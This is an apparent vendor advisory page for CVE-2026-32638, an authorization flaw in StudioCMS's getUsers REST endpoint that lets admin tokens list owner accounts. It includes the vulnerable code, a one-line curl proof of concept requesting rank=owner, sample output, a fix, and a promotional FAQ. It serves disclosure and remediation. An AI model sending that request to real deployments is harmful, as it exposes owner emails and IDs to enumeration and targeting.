CVE-2026-32638

The REST API getUsers endpoint in StudioCMS uses the attacker-controlled rank query parameter to decide whether owner accounts should be filtered from the result set. As a result, an admin token can request rank=owner and receive owner account records, including IDs, usernames, display names, and email addresses, even though the adjacent getUser endpoint correctly blocks admins from viewing owner users. This is an authorization inconsistency inside the same user-management surface.

Details

Vulnerable Code Path

File: D:/bugcrowd/studiocms/repo/packages/studiocms/frontend/pages/studiocms_api/_handlers/rest-api/v1/secure.ts, lines 1605-1647

.handle(
    'getUsers',
    Effect.fn(
        function* ({ urlParams: { name, rank, username } }) {
            if (!restAPIEnabled) {
                return yield* new RestAPIError({ error: 'Endpoint not found' });
            }
            const [sdk, user] = yield* Effect.all([SDKCore, CurrentRestAPIUser]);

            if (user.rank !== 'owner' && user.rank !== 'admin') {
                return yield* new RestAPIError({ error: 'Unauthorized' });
            }

            const allUsers = yield* sdk.GET.users.all();
            let data = allUsers.map(...);

            if (rank !== 'owner') {
                data = data.filter((user) => user.rank !== 'owner');
            }

            if (rank) {
                data = data.filter((user) => user.rank === rank);
            }

            return data;
        },

The rank variable in if (rank !== 'owner') is the request query parameter, not the caller's privilege level. An admin can therefore pass rank=owner, skip the owner-filtering branch, and then have the second if (rank) branch return only owner accounts.

Adjacent Endpoint Shows Intended Security Boundary

File: D:/bugcrowd/studiocms/repo/packages/studiocms/frontend/pages/studiocms_api/_handlers/rest-api/v1/secure.ts, lines 1650-1710

const existingUserRankIndex = availablePermissionRanks.indexOf(existingUserRank);
const loggedInUserRankIndex = availablePermissionRanks.indexOf(user.rank);

if (loggedInUserRankIndex <= existingUserRankIndex) {
    return yield* new RestAPIError({
        error: 'Unauthorized to view user with higher rank',
    });
}

getUser correctly blocks an admin from viewing an owner record. getUsers bypasses that boundary for bulk enumeration.

Sensitive Fields Returned

The getUsers response includes:

• id
• email
• name
• username
• rank
• timestamps and profile URL/avatar fields when present

This is enough to enumerate all owner accounts and target them for phishing, social engineering, or follow-on attacks against out-of-band workflows.

PoC

HTTP PoC

Use any admin-level REST API token:

curl -X GET 'http://localhost:4321/studiocms_api/rest/v1/secure/users?rank=owner' \
  -H 'Authorization: Bearer <admin-api-token>'

Expected behavior:

• owner records should be excluded for admin callers, consistent with getUser

Actual behavior:

• the response contains owner user objects, including email addresses and user IDs

Local Validation of the Exact Handler Logic

I validated the filtering logic locally with the same conditions used by getUsers and getUser.

Observed output:

{
  "admin_getUsers_rank_owner": [
    {
      "email": "[email protected]",
      "id": "owner-1",
      "name": "Site Owner",
      "rank": "owner",
      "username": "owner1"
    }
  ],
  "admin_getUser_owner": "Unauthorized to view user with higher rank"
}

This demonstrates the authorization mismatch clearly:

• bulk listing with rank=owner exposes owner records
• direct access to a single owner record is denied

• Owner Account Enumeration: Admin tokens can recover owner user IDs, usernames, display names, and email addresses.
• Authorization Boundary Bypass: The REST collection endpoint bypasses the stricter per-record rank check already implemented by getUser.
• Chaining Value: Exposed owner contact data can support phishing, account-targeting, and admin-to-owner pivot attempts in deployments that treat owner identities as higher-trust principals.

CVE-2026-32638 has a CVSS score of 2.7 (Low). The vector is network-reachable, high privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.4.4); upgrading removes the vulnerable code path.

Kodem intelligence

Apply rank filtering based on the caller's role, not on the request query parameter, and reuse the same privilege rule as getUser.

Example fix:

const loggedInUserRankIndex = availablePermissionRanks.indexOf(user.rank);

data = data.filter((candidate) => {
    const candidateRankIndex = availablePermissionRanks.indexOf(candidate.rank);
    return loggedInUserRankIndex > candidateRankIndex;
});

if (rank) {
    data = data.filter((candidate) => candidate.rank === rank);
}

At minimum, replace:

if (rank !== 'owner') {
    data = data.filter((user) => user.rank !== 'owner');
}

with a check tied to user.rank rather than the query parameter.

1. What is CVE-2026-32638? CVE-2026-32638 is a low-severity security vulnerability in studiocms (npm), affecting versions <= 0.4.3. It is fixed in 0.4.4.
2. How severe is CVE-2026-32638? CVE-2026-32638 has a CVSS score of 2.7 (Low). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of studiocms are affected by CVE-2026-32638? studiocms (npm) versions <= 0.4.3 is affected.
4. Is there a fix for CVE-2026-32638? Yes. CVE-2026-32638 is fixed in 0.4.4. Upgrade to this version or later.
5. Is CVE-2026-32638 exploitable, and should I be worried? Whether CVE-2026-32638 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-32638 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-32638? Upgrade studiocms to 0.4.4 or later.